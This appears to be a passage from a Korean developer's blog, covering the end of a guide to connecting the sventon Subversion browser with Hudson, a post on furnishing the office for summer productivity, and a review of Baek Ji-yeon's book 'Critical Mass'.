메인화면 오른쪽하단의 drag&drop tray를 이용하면 드래그한 파일들끼리 비교하거나 zip파일로 다운로드 가능합니다.





기타활용 - hudson plugin

hudson 과 sventon 연동을 하면 더육 효과적입니다.

1) hudson의 configure 화면에서 아래 이미지처럼 Source Code Management -> Repository browser -> sventon 2.x 으로 설정하고, URL에 설치한 sventon의 주소를 입력합니다.  (ex. http://yourdomain:8080/svn/)


2) Repository Instance (ex. 생성한 프로젝트명)
저장소에 생성한 프로젝트명을 입력합니다.

3) 환경설정을 저장 후 , 허드슨가서 build now를 클릭하시고, 변경된 히스토리를 확인합니다.
(프로젝트 -> Changes -> sventon 2.x 에서 확인)


history에서 Sventon 2.x를 클릭하시면 아래와 같은 sventon의 화면을 만날수 있습니다.




diff의 결과를 시각적으로 확인가능합니다.



svn client 기능비교
이 외의 다양한 Subversion Repository Browser 들에 대한 비교자료는 아래링크를 참고하세요.
http://en.wikipedia.org/wiki/Comparison_of_Subversion_clients

조직에 속한 사람이라면 누구나 좋은 생산성을 위한 보다 좋은환경을 구성하는 것의 필요성에 이견이 없을겁니다.
같은 조건에서 보다 좋은 생산성이 기대된다면 하지 않을 이유가 없겠죠.
저도 마찬가지로 생산성을 향상시키는 좋은 방법에 대해서, 여러가지 고민을 하고 있습니다. (좋은 품질을 원할때 팀원에게 해주어야 하는 노력들이라는 예전 글을 읽어보세요)



이번 주에는 무더운 여름(올해는 40도가 넘는 날이 예상된다네요) 사무실에서 도움이 될 만한 것들을 생각해서 꾸며보았습니다.

사무실 여름나기를 위해서 준비한 것들

  • USB선풍기
  • 에어컨 활용을 위한 대형선풍기
  • 여름슬리퍼
  • 대나무방석
  • 대나무돗자리
  • 자연을 책상위로-화분
  • 땀냄새제거 제품
  • 시원한 색감으로 인테리어 변경
  • 책상정리용 박스로 정리정돈


책상위에 녹색식물을 하나씩 골라서 놓았습니다. 부지런하지 못한 저는 물을 적게 주어도 잘 자라는 종류를 골랐습니다. :-)


에어컨이 골고루 갈 수 있도록 대형 선풍기를 에어컨 아래에 배치 했습니다. 바람세기가 장난아니네요~



입구에 화분을 추가로 몇개 더 배치했는데, 얼마나 공기정화에 도움이 될지는 미지수네요 ㅎㅎ


희끄무리한 벽면에는 워크샵 다녀와서 찍은 사진들을 이용해서 꾸미고



창문에도 약간의 꾸밈을 주었습니다.


겨우 매트위에 양말을 벗은 채로 코딩할 수 있는 환경이 얼마나 생산성에 도움이 되겠냐 싶을수도 있지만, 저는 조금씩 개선해 나가려는 노력이 더욱 중요한 것이라고 생각합니다.

여러분도 생산성을 향상시킬 수 있는 여러가지 방법에 대해서 적용 가능한 것들을 하나씩 해보시는게 어떨까요?  Right Now !




두세달 만에 기술서적에서 손을 놓고, 일반소설을 읽었습니다.
'크리티컬매스'라는 백지연씨의 인터뷰에세이 인데 오랜만에 맛깔나게 읽은 책이네요.
회사 공용도서인데 좋은 이야기가 많아서 위 사진에서 보시는 것처럼 책갈피로 난도질을 하게 되었습니다 ㅎㅎ

이 책은 인터뷰어로 이십여년을 살아온 저자가 만난 사람들의 농익은 지혜를 모아서 전달하고 싶어서 쓴 책입니다.
읽으면서 자신이 축적한 지혜의 옹달샘을 전달하려는 저자의 마음을 느낄수 있엇고, 시대와 무관하게 인생을 관통하는 지혜가 있다고 믿는 저의 신념에 대해서 다시 한번 확인할 수 있었습니다.

오디션에서 정말 많이 떨어졌어요. 120번 정도 떨어졌어요.
제 성격이 상당히 긍정적인데 12번 13번 떨어지니까 못 버티겠더라고요.
'내길이 아닌가'하는 생각도 괴로웠지만 무엇보다 날 미치게 만들었던건 떨어질때 마다 도대체 왜 떨어지는지를 모르겠더라고요.
그때는 이런 생각을 했어요, '나름대로 정말 열심히 준비했고 이 정도면 되지 않겠나'생각했어요
그런데 어느 날 깨달은거죠. 아! 하고..
'나름대로'와 '이 정도면'을 빼야 하는 거구나!

- 배우 장혁


책표지




책을 읽으면서 제가 살아오면서 느끼고 정립한 생각들이 틀리지 않았구나 하는 안도감과 함께, 진심으로 책을 통해서 지혜를 전달하고 싶어하는 저자의 마음을 느낄 수 있었습니다.
자신이 차곡차곡 쌓아둔 지혜의 옹달샘을 사람들이 잘 찾아오기를 바라는 선한 마음이 느껴져서, 마지막 책장을 덮었을때는 백지연이라는 사람에 대해서 다시 생각해보게 되었습니다.


크리티컬매스

+ Recent posts